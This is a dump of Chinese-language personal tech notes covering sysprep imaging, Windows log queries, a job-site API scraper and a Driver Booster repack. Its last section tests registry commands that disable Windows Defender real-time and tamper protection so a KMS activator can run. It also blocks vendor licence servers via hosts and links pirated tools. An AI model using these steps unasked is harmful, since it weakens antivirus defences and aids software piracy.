这些库和框架都有其独特的功能和用途,并且可以混合使用以实现更复杂的爬虫任务。例如,您可以使用requests和BeautifulSoup来解析静态网页,然后使用Selenium来模拟用户行为,抓取动态网页数据。此外,PyQuery可以与BeautifulSoup一起使用,帮助您更方便地操作HTML元素。最后,PDFKit和WeasyPrint可以帮助您将爬取到的数据转换为PDF格式进行保存和共享。 ================================================ FILE: AQUICK/CRuby/readme.txt ================================================ [csdn - Ruby on Rails 入门之:(6) Ruby中常用运算符](https://blog.csdn.net/watkinsong/article/details/8019461) titles.first(3).each do |title| 语法糖 存在不少语法糖,难怪说所谓简洁。 通过对语法糖的了解反倒是很让代码与逻辑更完善。 ``` # 将解压出来的文件夹移动到指定目录下 puts "正在移动解压后的文件夹到 #{theme_path} ..." FileUtils.move(Dir.glob(File.join(unzip_path, '**', '*')), theme_path, :force => true) ``` 开放格式API:https://www.fileformat.com/zh/ https://www.tairaengineer-note.com/ruby-rubyxl-specify-sheet-name/ https://www.cnblogs.com/dajianshi/p/11613060.html ================================================ FILE: AQUICK/DTRASH/Dism++.md ================================================ # Dism++封装系统(适用企业标装环境) ### 操作与使用 使用系统自带的sysprep工具的oobe选项,之后进PE,打开Dism++,选择C盘里的系统,点击“文件”,另存为映像wim文件即可。这里需要说明,并不是wim文件的镜像sid就会变,而是勾选了oobe部署“新体验”才会重置sid。 进行封装前,保险起见还是得看看SID可重置的次数。win7默认是3次,win10是1001次。 ``` slmgr /dlv ``` 以管理员权限运行命令行 ```bat c:/windows/system32/sysprep/sysprep /oobe /generalize /reboot ``` ![](https://s2.xptou.com/2023/03/15/64111bf17aba5.PNG) 这条命令是等价于[傲梅备份-使用Sysprep封装Win10、11的详细教程!](https://www.abackup.com/easybackup-tutorials/sysprep-encapsulates-windows-10-666.html)提到的如下配置方式,"进入系统全新体验(OOBE),勾选通用"。唯一的区别就是reboot和shutdown了。 ![](https://www.abackup.com/easybackup-tutorials/images/sysprep-encapsulates-windows-10-666/2.png) 进入PE选择系统盘,右击“文件”,选择“另存为镜像” ![](https://s2.xptou.com/2023/03/15/6410a35e795c4.jpg) 正常保存就好了。 从[百度百科-卷影拷贝服务](https://baike.baidu.com/item/卷影拷贝服务/7295968?fr=aladdin)中的描述,可粗略的理解为相当于是你扔进回收站删除的东西、不同时间点有遗漏的,也还能找得回来。[从官方遗存的文档对“可启动”的说明来看](https://wenku.baidu.com/view/b40cf1219ec3d5bbfd0a74f5.html),PE也是个小小系统壳,这选项是留个做PE的人用的。 桌面软件及IE等相关设置都如同ghost镜像都保存了,并且重装三次,每次的SID都不一样。 ![](https://s2.xptou.com/2023/03/15/6410a360f2b60.png) ### 发现与分享 单独格盘装系统不影响重置次数,已封装镜像再进行一次sysprep oobe才会影响。就傲梅所提到的“[在单个系统镜像上,您可以**运行8次**Sysprep。在运行这个工具8次之后,您需要重新创建您的系统镜像](https://www.abackup.com/easybackup-tutorials/sysprep-encapsulates-windows-10-666.html#toc.0.052977313769533296)”,可并没有说明具体系统,至少可以确定的是,win7、win10的默认重置数可不是这样。 简单说[cnblogs-Windows:sysprep.exe工具:审核模式 VS OOBE模式(工厂模式 VS 用户模式)](https://www.cnblogs.com/jinzhenshui/p/15138131.html)提到的几处关键点:勾选通用生成SID、OOBE全新体验为用户的个性化设置、系统审核模式基本上和域Windows server服务器装机一个性质,Administrator账户、进入系统前的预先安装,比如驱动安装等。 链接: https://pan.baidu.com/s/1vd_nBPOIU1wp65bkd2GRWw 提取码: 8fu2 --来自百度网盘超级会员v3的分享 | ventoy-1.0.89 | 其他 | | ---------------------------------- | --------------------------------------------- | | Win7 usb3.0驱动纯净镜像(FAE自用) | 驱动注入与强制关闭win10更新(联想知识库工具) | | Win10 1909 | dism++ PDF文档 | | WeiPE_2.2+2.1+1.2.iso | HEU_KMS_Activator_v26.0.0.exe.zip | 参考: * [csdn-pe查看原系统IP配置](https://blog.csdn.net/qq_36701078/article/details/116212330) * [cnblogs-WIN2008R2/WIN2012R2等重新生成SID(服务器安全标识的ID)](https://www.cnblogs.com/pipci/p/15128926.html) * [cnblogs-UUID、GUID、SID、SUSID](https://www.cnblogs.com/Chary/p/9771938.html) * [spiceworks-change-sid-on-windows-10](https://community.spiceworks.com/topic/2319623-change-sid-on-windows-10) * [ 华为云-Windows操作系统制作私有镜像为什么要执行Sysprep操作?](https://support.huaweicloud.com/ims_faq/ims_faq_0024.html) * [百度百科-卷影拷贝服务](https://baike.baidu.com/item/卷影拷贝服务/7295968?fr=aladdin) * [百度文库-Dism++帮助文档](https://wenku.baidu.com/view/b40cf1219ec3d5bbfd0a74f5.html) * [jrjxdiy-封装windows镜像时sysprep重置次数超过限制的解决办法](https://www.jrjxdiy.com/windows/windows-sysprep-tries-limit.html) * [傲梅备份-使用Sysprep封装Win10、11的详细教程!](https://www.abackup.com/easybackup-tutorials/sysprep-encapsulates-windows-10-666.html) * [cnblogs-Windows:sysprep.exe工具:审核模式 VS OOBE模式(工厂模式 VS 用户模式)](https://www.cnblogs.com/jinzhenshui/p/15138131.html) ================================================ FILE: AQUICK/DTRASH/DriverBooster.md ================================================ [Windows] 驱动管理软件-Driver Booster Pro V10.3.0.124 (2022.3.10当前最新) Driver Booster这款软件,据多数网友反馈很不错。软件搬运至lrepacks,火绒正常。 > Driver Booster(驱动加速器)是IObit公司推出的一款针对Windows操作系统的电脑的驱动程序更新工具。更新驱动可以提升电脑硬件性能,减少系统崩溃降低硬件冲突。该驱动加速器软件可以通过智能的检测引擎有效识别电脑上过期的驱动程式(如,显卡驱动,声卡驱动,网卡驱动,打印机驱动等),并将结果呈现出来供查看。您可以选择要更新的驱动,然后点击更新按钮,程序就会自动下载安装最新驱动。 —— Driver Booster 百度百科 注意:静默安装默认没有快捷方式,需常规便携安装自行设置;俄语文本的安装步骤已添加用百度翻译的中文。 配置好DNS后,下载速度起飞。 效果图1 ![ ](https://s2.xptou.com/2023/03/10/640adbc35331a.PNG) 效果图2 ![](https://s2.xptou.com/2023/03/10/640adc4f38c65.PNG) **软件下载:** 链接: https://pan.baidu.com/s/1U1Gk89SK2rtX8jjRM79C5w 提取码: xtdk --来自百度网盘超级会员v3的分享 **下载驱动网速拉不动,三种解法**: 1. 走特定IP:[ucbug-IObit Driver Booster无法更新驱动的解决办法](https://www.ucbug.com/jiaocheng/132252.html) 所提到过的“菜单-设置-网络-自定义代理设置-主机:填入 140.227.10.189 端口:3128 最后点确定完成”(文章时间2021.7.22)。 2. 改hosts:卡1%方案( [比驱动精灵好用的IObit Driver Booster Pro v7.2.0.601 Portable【绿色免安装版】出处: 吾爱破解论坛](https://www.52pojie.cn/thread-1097107-1-1.html)) ```cmd echo " 127.0.0.1 asc55.iobit.com 127.0.0.1 is360.iobit.com 127.0.0.1 asc.iobit.com 127.0.0.1 pf.iobit.com" >> C:\Windows\System32\drivers\etc\hosts ``` 3. 修改DNS:1.0.0.1、1.1.1.1([Driver booster无法更新驱动 (出处: 吾爱破解论坛)](https://www.52pojie.cn/thread-1217009-1-1.html)) 我个人是用第三种办法,修改DNS,效果图如此前上述所示。复制如下这段代码保存为 `.bat` 文件即可一键设置DNS,或者管理员权限的CMD窗口单条命令回车。 ```cmd netsh interface ip set dns "以太网" static 1.0.0.1 primary netsh interface ip add dns "以太网" 1.1.1.1 ``` 参考资料 * [driver booster无法更新 (出处: 吾爱破解论坛)](https://www.52pojie.cn/thread-1539190-1-1.html) * [Driver booster无法更新驱动 (出处: 吾爱破解论坛)](https://www.52pojie.cn/thread-1217009-1-1.html) * [比驱动精灵好用的IObit Driver Booster Pro v7.2.0.601 Portable【绿色免安装版】(出处: 吾爱破解论坛)](https://www.52pojie.cn/thread-1097107-1-1.html) * [ucbug-IObit Driver Booster无法更新驱动的解决办法](https://www.ucbug.com/jiaocheng/132252.html) * [51cto-用netsh查看和设置IP地址、DNS地址、防火墙](https://blog.51cto.com/guochunyang/5851385) ================================================ FILE: AQUICK/DTRASH/Windowsjxjbcg.md ================================================ ## Windows基线脚本 ### 内存条 ```powershell Get-WmiObject -Class Win32_PhysicalMemory | Select-Object -Property BankLabel, Capacity, DeviceLocator, PartNumber, SerialNumber, Speed ``` 在大多数情况下,DDR4 内存的时钟速度(即频率)会更高,通常在 2133 MHz 至 4800 MHz 之间,而 DDR3 的时钟速度范围为 800 MHz 至 2133 MHz,因此也可以通过查看内存的时钟速度来确定其类型。 ### 验证驱动安装 ### 初期探寻 第一种通过hash算法数值验证,`(Get-FileHash $driverPath -Algorithm SHA256).Hash`但很粗略。第二种[csdn - 2019-8-30-PowerShell-通过-WMI-获取系统安装的驱动](https://blog.csdn.net/lindexi_gd/article/details/103184934) 检测status的值是否OK。 ```powershell # 查看所有 Get-WmiObject Win32_SystemDriver | Format-List Caption,Status # 筛选出非OK的 Get-WmiObject Win32_SystemDriver | Where-Object { $_.Status -ne "OK" } | Format-List Caption,Status ``` ### 中后期 PnpDevice是Windows操作系统中表示PnP设备的一个对象,它包含了有关设备的大量信息,比如设备的硬件ID、驱动程序文件名、驱动程序状态等等。 判断驱动是否正常可以通过判断PnpDevice对象的状态信息来实现。例如,如果PnpDevice对象的DriverName属性值为NULL,或者设备状态为Error,则表明该设备的驱动程序可能没有正确安装或者配置错误。 此外,PnpDevice对象还包含许多其他信息,比如设备的资源分配情况、设备节点名称、设备类型等等,这些信息也可以用于判断驱动是否正常。例如,如果某个设备节点下面没有任何子节点,则说明该设备的驱动程序可能存在异常。因此,使用PnpDevice对象来判断驱动是否正常是一种有效的方法。 ### 睡眠模式 绕弯:休眠与睡眠的区别,[cnblogs - 电脑睡眠(sleep)和休眠(Hibernate)的区别,以及休眠功能的设置](https://www.cnblogs.com/fatherofbeauty/p/16351107.html)。 ```powershell # 休眠功能是否开启,最后一次启动时间 Get-CimInstance win32_operatingsystem | Select-Object @{label="HibernateEnabled";Expression={$_.HibernateEnabled}}, @{label="LastBootUpTime";Expression={$_.LastBootUpTime}}| Out-Host ``` 正轨:`Get-CimInstance -namespace "root\cimv2\power" -ClassName Win32_PowerPlan`只能看基础电源“平衡”、“高性能”策略是否开启,而不能进一步细化粒度。 中途了解[csdn - WMI的讲解(是什么,做什么,为什么)](https://blog.csdn.net/Ping_Pig/article/details/119446154) ### 其他 **选项** 虚拟键盘接收用户按键,code对应键盘数值参考:https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force ### 系统时间 **通过 6005 、6006 来知晓系统唤醒频次并不精确** ``` 2023/5/31 10:39:54 6005 事件日志服务已启动。 2023/5/31 10:39:45 6006 事件日志服务已停止。 2023/5/31 10:36:52 6005 事件日志服务已启动。 2023/5/31 10:36:39 6006 事件日志服务已停止。 2023/5/31 8:51:20 6005 事件日志服务已启动。 2023/5/31 8:51:12 6006 事件日志服务已停止。 2023/5/31 7:26:26 6005 事件日志服务已启动。 ``` 自己在测试机上一直做着测试,该时间段并未唤醒或重启过系统,因此通过事件ID:6005、6006来判断系统重启或唤醒频次并不准。powershell统计事件6005和6006,以及557似乎并不能精确获取到开关机时间。 这表明系统时间是使用 UTC (世界协调时间) 格式记录的,而 `TimeCreated` 属性则是将 UTC 时间转换为本地时间。UTC 时间与本地时间之间的差异取决于系统所在地区的时区设置。 在您提供的示例中,系统启动时的 UTC 时间是 2023 年 6 月 5 日早上 2:33:57.378748400 UTC。这个时间戳代表了从 1970 年 1 月 1 日午夜 UTC 开始的秒数或毫秒数。Windows 会将其转换为本地时间,即 2023 年 6 月 5 日上午 10:33:58(假设您所在的时区为 UTC+8)。 因此,`TimeCreated` 属性显示的时间是系统启动时的本地时间。 **regsvr32** 因此,regsvr32 和 sfc /scannow 命令是用于不同的目的。前者用于注册 DLL 文件,后者用于检查和修复受保护的 Windows 系统文件。虽然它们都可以解决某些问题,但是它们并不相同,而且执行起来也不同。 **DISM** `DISM /Online /Cleanup-Image /RestoreHealth` 命令不会导致任何文件丢失,该命令主要旨在检查和修复 Windows 系统文件的完整性,并从 Windows 更新服务器下载缺失或损坏的文件。它会在 Windows 映像文件中进行扫描和修复操作,但不会影响您现有的个人文件或程序。 **系统映像** 系统映像(System Image)和系统镜像(System Clone)是两个不同的概念。 系统映像是指捕获完整的操作系统配置和状态,包括操作系统、外部程序、配置文件、用户数据和设置等。它实际上是一个完整的备份,可以用来还原到之前的系统状态。系统映像通常包含所有系统驱动程序和 OS 补丁,以便在还原后无需重新安装它们。 与此不同,系统镜像是指将系统驱动器完全复制到另一个驱动器中,以便在需要时可以立即启动该系统。简单来说,系统克隆是将一个完全相同的副本创建到另一个位置或目标磁盘中。 系统映像通常用于备份和还原整个系统的目的,而系统镜像则用于在多台计算机或在更换硬盘后部署新设备的目的。另外,创建系统映像通常需要使用系统备份和还原工具,如 Windows Backup and Restore,而创建系统镜像通常需要使用磁盘镜像软件,如 Acronis True Image 或 Norton Ghost。 总之,系统映像指的是捕获整个操作系统、配置文件和用户数据的备份,而系统镜像指的是将整个系统驱动器复制到另一个驱动器,以便进行快速部署。 ### 选特定的事件 ID * [舆情采集系统 - WINDOWS日志事件ID速查表](https://www.axtx.net/archives/1043.html) * [learn.microsoft - 4624 (S) :帐户已成功登录](https://learn.microsoft.com/zh-cn/windows/security/threat-protection/auditing/event-4624) * [csdn - Windows事件ID大全](https://blog.csdn.net/bcbobo21cn/article/details/129610017) * [Windows server- 附录 L:事件监视器](https://learn.microsoft.com/zh-cn/windows-server/identity/ad-ds/plan/appendix-l--events-to-monitor) * [奇安信攻防社区 - Windows日志总结](https://forum.butian.net/share/355) * [learn.microsoft - 事件識別碼 41 的進階疑難排解:「系統已重新開機,但未先完全關閉」](https://learn.microsoft.com/zh-tw/troubleshoot/windows-client/performance/event-id-41-restart) ``` Get-WinEvent -LogName System | Where-Object {$_.Id -eq 42} ``` 可以通过以下PowerShell命令查看最近七天的异常开关机事件: ``` Get-EventLog System -After (Get-Date).AddDays(-7) | Where-Object {$_.EventID -eq '1074' -or $_.EventID -eq '6008'} | Format-Table TimeGenerated, EventID, Message -AutoSize ``` 55 指定的网络资源或设备不再可用、1393*磁盘*结构*损坏*且无法读取。 events level查询:https://learn.microsoft.com/zh-cn/powershell/scripting/samples/creating-get-winevent-queries-with-filterhashtable?view=powershell-7.3 ### 日志专题 Windows 的系统日志是用于记录操作系统级别事件和错误的一种日志类型。它包括了许多不同的事件提供程序,每个事件提供程序都有唯一的 "ProviderName" 标识符。以下是 Windows 系统日志中 ProviderName 常见的一些示例: - Microsoft-Windows-Kernel-Power:提供了与系统电源管理相关的事件,例如系统挂起、恢复、关机、重启等。 - Microsoft-Windows-Kernel-General:提供了与操作系统内核相关的事件,例如启动或关闭操作系统、内核初始化、驱动程序加载等。 - Microsoft-Windows-Wininit:提供了与系统引导和初始化相关的事件,例如启动初始化进程、检查文件系统、加载系统驱动程序等。 - Microsoft-Windows-Security-Auditing:提供了与安全审计和审核相关的事件,例如用户登陆、权限更改、文件和对象访问等。 - Microsoft-Windows-DistributedCOM:提供了与分布式应用程序相关的事件,例如分布式COM调用的失败、权限问题、RPC服务器无法使用等。 - Microsoft-Windows-DNS-Client:服务负责将域名解析为相应的 IP 地址,并将其缓存以提高性能。 ### 事件ID与LogName 事件 ID 1001 可能对应于不同的 "LogName"。它通常用于表示 “Windows Error Reporting Service”(WER)已将信息记录到 Windows 系统事件日志中。 当某个应用程序或进程在 Windows 操作系统中崩溃时,WER 将自动记录相关的错误信息,例如异常类型、错误代码、应用程序名称等。这些信息通常会被记录到不同的 Windows 事件日志中,包括 Application、System 和 Security 日志。因此,您可能会在这些日志中找到与事件 ID 1001 相关的条目。 只检查单个日志,有些事件可能会跨越多个日志和多个事件 ID,可能会错过一些重要的信息。因此,请根据具体情况进行分析,以了解特定事件的详细信息。 根据您提供的信息,这条事件的级别是 4,即“信息”级别。虽然这条事件包含了一些关键的信息(例如密钥管理服务的地址、激活请求的 ID 等等),但从整体上看,它更多地是一条记录性质的事件,不会对系统的安全和稳定性造成影响,因此被归类为“信息”级别。 需要注意的是,事件级别并没有固定的定义,具体的划分标准可以根据实际情况而有所不同。在不同的 Windows 组件、应用程序或者操作系统版本中,同样的事件可能被赋予不同的级别。因此,在分析事件日志时,我们需要结合具体的背景和含义,来判断一个事件的级别是否适当。 信息方面大部分都是有关用户登录、特权提升、系统激活,警告很多都是时间同步方面的东西。 ================================================ FILE: AQUICK/DTRASH/bossAPI.md ================================================ ## bossAPI分析 ## 初步观察 ### 招聘条目 招聘条目API ``` https://www.zhipin.com/wapi/zpgeek/search/joblist.json?scene=1&query=IT%E6%8A%80%E6%9C%AF%E6%94%AF%E6%8C%81&city=101280600&experience=&payType=&partTime=°ree=&industry=&scale=&stage=&position=&jobType=&salary=&multiBusinessDistrict=&multiSubway=&page=1&pageSize=30 ``` 招聘条目web链接分析 ``` https://www.zhipin.com/web/geek/job?query=IT%E6%8A%80%E6%9C%AF%E6%94%AF%E6%8C%81&city=101280600&experience=106&salary=405 ``` 参数分析 ``` city=101280600 深圳 experience=105 3-5年 salary=405 10-20k ``` 通过分析为utf-8编码 ```python from urllib.parse import unquote encoded_str = '%E6%8A%80%E6%9C%AF%E6%94%AF%E6%8C%81' decoded_str = unquote(encoded_str, encoding='utf-8') print(decoded_str) ``` ### 城市代码 ``` https://www.zhipin.com/wapi/zpCommon/data/cityGroup.json ``` ```python code_value = city_json["zpData"]["cityGroup"][0]["cityList"][0]["code"] ``` ```python # 假设您已经将 JSON 数据加载到了 city_json 字典中 user_city = input("请输入城市:") # 获取用户输入的城市名 city_code = None # 初始化城市编码为 None # 遍历城市列表,查找与用户输入城市名匹配的城市信息 for group in city_json["zpData"]["cityGroup"]: for city in group["cityList"]: if city["name"] == user_city: city_code = city["code"] break if city_code is not None: print("匹配到的城市编码:", city_code) else: print("未找到匹配的城市编码") ``` ## cookie写法 写法一 ```python import requests import json import http.cookies import urllib.request # 将字符串的 cookie 转换成字典dict类型的。 input_cookie = input("请复制Cookie:") cookie = http.cookies.SimpleCookie() cookie.load(input_cookie) cookie_dict = {} for key, morsel in cookie.items(): cookie_dict[key] = morsel.value # 设置请求头,并将字典类型的 cookie 转换成字符串类型的。 headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36', 'Cookie': '; '.join([f'{key}={value}' for key, value in cookie_dict.items()]), } ``` 写法二 ```python import requests headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36', } cookies = { 'key1': 'value1', 'key2': 'value2', } response = requests.get(url, headers=headers, cookies=cookies) ``` ## 整理分析 将一开始的API进行精简化 ``` https://www.zhipin.com/wapi/zpgeek/search/joblist.json?query=IT%E6%8A%80%E6%9C%AF%E6%94%AF%E6%8C%81&city=101280600&experience=105&salary=405&page=1&pageSize=30 ``` ### boss api json拼接结构 注: 直接加载json会导致json格式错误,而放在本地读取却是正常的。 https://github.com/hoochanlon/scripts/blob/main/d-json/exam_zhipin_demo.json 具体结构树 ``` [ { "code": 0, "message": "Success", "zpData":{ "jobList": [ { } ] } }, { "code": 0, "message": "Success", "zpData":{ "jobList": [ { } ] } } ] ``` 循环取出 ``` data_list = [] for item in zhipin_json: if "zpData" in item and "jobList" in item["zpData"]: data_list.extend(item["zpData"]["jobList"]) for job in data_list: ``` ### 本地测试代码 ```python import os import re import platform import requests import json import urllib.request from openpyxl import Workbook from datetime import datetime class GetDataTools: @staticmethod def get_citycode(input_city): response = urllib.request.urlopen('https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-json/bosszhipin_citycode.json') city_json = json.loads(response.read().decode('utf-8')) city_code = None for group in city_json["zpData"]["cityGroup"]: for city in group["cityList"]: if city["name"] == input_city: city_code = city["code"] return city_code return None @staticmethod def validate_cookie(input_cookie): cookie_list = input_cookie.split("; ") cookies_dict = {} try: for item in cookie_list: key, value = item.strip().split("=", 1) cookies_dict[key] = value except ValueError: return False return True class ZhiPin: @staticmethod def get_job_list(): input_keywords = input("请输入查询职位:") input_city = input("请输入城市:") city_code = GetDataTools.get_citycode(input_city) while city_code is None: print("未找到匹配的城市编码,请重新输入城市名。") input_city = input("请输入城市:") city_code = GetDataTools.get_citycode(input_city) # input_num = input("请输入需要遍历的页码:") input_cookie = input("请复制Cookie:") # while not GetDataTools.validate_cookie(input_cookie): # input_cookie = input("请重新复制Cookie:") job_data_list = [] for page in range(1,3): url = f'https://www.zhipin.com/wapi/zpgeek/search/joblist.json?query={input_keywords}&city={city_code}&experience=105&salary=405&page={page}&pageSize=30' headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36', 'Cookie': input_cookie, } data = requests.get(url, headers=headers).json() job_data_list.append(data) return job_data_list @staticmethod def save_to_json(job_data_list): save_json = os.path.join( os.path.join(os.path.expanduser("~"), "Desktop"), "boss_{}.json".format(datetime.now().strftime('%Y-%m-%d')) ) with open(save_json, 'w', encoding='utf-8') as f: json.dump(job_data_list, f, ensure_ascii=False, indent=4) return save_json class DataToExcel: @staticmethod def save_to_excel(workbook, zhipin_json): with open(zhipin_json, 'r', encoding='utf-8') as f: zhipin_json = json.load(f) worksheet = workbook.create_sheet(title='招聘信息清单') titles = [ '职位', '技能', '经验', '学历', '工资', '福利', '公司', '公司类型', '人数规模', '融资状态', '地址' ] for col, title in enumerate(titles, start=1): worksheet.cell(row=1, column=col, value=title) data_list = [] for item in zhipin_json: if "zpData" in item and "jobList" in item["zpData"]: data_list.extend(item["zpData"]["jobList"]) row = 2 column = 1 for job in data_list: worksheet.cell(row=row, column=column, value=job['jobName']) column += 1 worksheet.cell(row=row, column=column, value='; '.join(job['skills'])) column += 1 worksheet.cell(row=row, column=column, value=job['jobExperience']) column += 1 worksheet.cell(row=row, column=column, value=job['jobDegree']) column += 1 worksheet.cell(row=row, column=column, value=job['salaryDesc']) column += 1 worksheet.cell(row=row, column=column, value='; '.join(job['welfareList'])) column += 1 worksheet.cell(row=row, column=column, value=job['brandName']) column += 1 worksheet.cell(row=row, column=column, value=job['brandIndustry']) column += 1 worksheet.cell(row=row, column=column, value=job['brandScaleName']) column += 1 worksheet.cell(row=row, column=column, value=job['brandStageName']) column += 1 worksheet.cell(row=row, column=column, value=f"{job['cityName']} {job['areaDistrict']} {job['businessDistrict']}") column += 1 row += 1 column = 1 # 添加新的sheet并写入相关的行列数据 extra_sheet = workbook.create_sheet(title='就业反欺诈') extra_data = [ ['主题', '链接'], ['就业形势分析及预防欺诈对策', 'https://nbviewer.org/github/hoochanlon/scripts/blob/main/d-ipynb/就业形势分析及预防欺诈对策.ipynb'], ['同济大学王荣昌-给初涉社会年轻人的忠告', 'https://blog.sciencenet.cn/blog-348492-375365.html'], ['适合中文的简历模板收集', 'https://github.com/dyweb/awesome-resume-for-chinese'], ] for row, data_row in enumerate(extra_data, start=1): for col, value in enumerate(data_row, start=1): extra_sheet.cell(row=row, column=col, value=value) if __name__ == '__main__': # job_data_list = ZhiPin.get_job_list() # zhipin_json = ZhiPin.save_to_json(job_data_list) workbook = Workbook() workbook.remove(workbook.active) DataToExcel.save_to_excel(workbook, os.path.join( os.path.join(os.path.expanduser("~"), "Desktop"), "boss_{}.json".format(datetime.now().strftime('%Y-%m-%d')) )) save_xlsx = os.path.join( os.path.join(os.path.expanduser("~"), "Desktop"), "boss_{}.xlsx".format(datetime.now().strftime('%Y-%m-%d')) ) workbook.save(save_xlsx) ``` ================================================ FILE: AQUICK/DTRASH/choice_wdrt.md ================================================ ## 关闭Windows defender实时保护方案验证 ## 代码验证测试 ### 禁止实时保护bat 如下指令是基于[v2ex - 如何永久关闭 Win10 的 defender 的实时保护](https://v2ex.com/t/712755)帖子 kokutou 提及到注册表,按他的思路做的batch移植。 ``` @REM 如果启用此策略设置,则 Windows Defender 不会运行,不扫描计算机是否有恶意软件或其他可能不需要的软件。Enabled Value 1;Disabled Value 0。 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f @REM 如果启用此策略设置,Microsoft Defender 防病毒将不会提示用户对检测到的恶意软件采取操作。 REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f ``` 第一条指令可参考 [admx.help - 关闭 Windows Defender](https://admx.help/?Category=Windows_8.1_2012R2&Policy=Microsoft.Policies.WindowsDefender::DisableAntiSpyware&Language=zh-cn) 对“DisableAntiSpyware”参数说明。其中官方对此的部分解释:“如果启用此策略设置,则 Windows Defender 不会运行,不扫描计算机是否有恶意软件或其他可能不需要的软件。” 这么说来,Windows defender与“实时保护”形成一种你中有我,我中有你的间性关系了。 第二条指令参考 [admx.help - 关闭实时保护](https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.WindowsDefender::DisableRealtimeMonitoring&Language=zh-cn) 参考说明,整体没多大难度。不过,kokukou对此的表述:“这2个注册表对应 2 条组策略,而且似乎其实好像其实第一条就够了,和以前一样, 没啥变化,就是要先关掉篡改保护。” 很值得做一番验证实验。 上述代码以管理员权限执行后,再点击关闭“篡改防护”按钮,几秒不等左右,“实时保护”也会随着“篡改防护”进入关闭状态,并且按钮呈灰色。我们通过`Get-MpComputerStatus` 获取 Windows Defender 的状态: “RealTimeProtectionEnabled :False”,表示实时保护以出于关闭状态,未启用。 ![](https://s2.xptou.com/2023/05/31/6476a56516a94.png) ### 再次启用实时保护bat 将此前的1,改为0值。 ``` @REM 如果启用此策略设置,则 Windows Defender 不会运行,不扫描计算机是否有恶意软件或其他可能不需要的软件。Enabled Value 1;Disabled Value 0。 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 0 /f @REM 如果启用此策略设置,Microsoft Defender 防病毒将不会提示用户对检测到的恶意软件采取操作。 REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 0 /f ``` 我们从中可以发现当前的实时保护只能暂时性的关闭。 ![](https://s2.xptou.com/2023/05/31/6476a56af2ac7.png) ![](https://s2.xptou.com/2023/05/31/6476a5a6d407e.png) 而使用 reg delete 则是又回到我们熟悉的当初状态 ``` reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /f REG delete "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /f pause ``` ![](https://s2.xptou.com/2023/05/31/6476a645e5114.png) ![](https://s2.xptou.com/2023/05/31/6476a4edb8b65.png) ### “DisableAntiSpyware”、“DisableRealtimeMonitoring”单条逻辑独立测试对比 一、***DisableAntiSpyware*** ``` reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f ``` 第一次未关闭篡改保护,执行后效果 ![](https://s2.xptou.com/2023/05/31/6476a6d1e5020.png) 关闭“篡改防护”执行效果 ![](https://s2.xptou.com/2023/05/31/6476a6fc8ee5d.png) 2023.5.31 8:57 补充验证资料: ![](https://s2.xptou.com/2023/05/31/6476a7178676f.png) 但重启后,两者别无二致。 ![](https://s2.xptou.com/2023/05/31/6476a4edb8b65.png) 实验结论:不管有没有关闭“篡改防护”,只针对 DisableAntiSpyware 进行策略改动,不可行。 二、***DisableRealtimeMonitoring*** ``` REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f ``` 实验结论:不管有没有关闭“篡改防护”,执行该条代码都不影响。 ![](https://s2.xptou.com/2023/05/31/6476a77e7d18e.png) 效果差异对比,注意“篡改防护”与“实时保护”状态。 ![](https://s2.xptou.com/2023/05/31/6476a808ca557.png) ![](https://s2.xptou.com/2023/05/31/6476a855bc61a.png) 扔入激活工具测试,发现激活工具正常运行,未被拦截或直接干掉。 ![](https://s2.xptou.com/2023/05/31/6476a86a89c64.png) ## 代码测试总结 1. **DisableAntiSpyware:如果启用此策略设置,则 Windows Defender 不会运行,不扫描计算机是否有恶意软件或其他可能不需要的软件。** 2. **DisableRealtimeMonitoring:如果启用此策略设置,Microsoft Defender 防病毒将不会提示用户对检测到的恶意软件采取操作。** (我的理解是“知道,但不作为”,“睁一只眼闭眼”。) “DisableAntiSpyware:如果启用此策略设置,则 Windows Defender 不会运行,不扫描计算机是否有恶意软件或其他可能不需要的软件。” 这句话从平时理解上来看,按理说只要关闭了杀软就行了。但这会与我们通过 `Get-MpComputerStatus` 得到的“实时保护”的结果 "RealTimeProtectionEnabled : True" 产生悖论。 所以我认定“实时保护”处于开启状态,Windows defender依旧会照常检测,通过“2023.5.31 8:57 补充验证资料”,已证实。这种关系,可类比为CSS元素子父级样式的优先级,越小级别的元素,设置样式生效优先级越高。 ### 代码调优 新增选项开关,一步到位。 ``` @echo off :: 见:https://bbs.huaweicloud.com/blogs/396537 :: "C:\Program Files (x86)\NSudo_8.2_All_Components\NSudo Launcher\x64\NSudoLG.exe" -U:T cmd /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /d 0 /t REG_DWORD /f"" :: 自动管理员权限运行以下代码 %1 C:\Windows\SysWOW64\mshta.exe 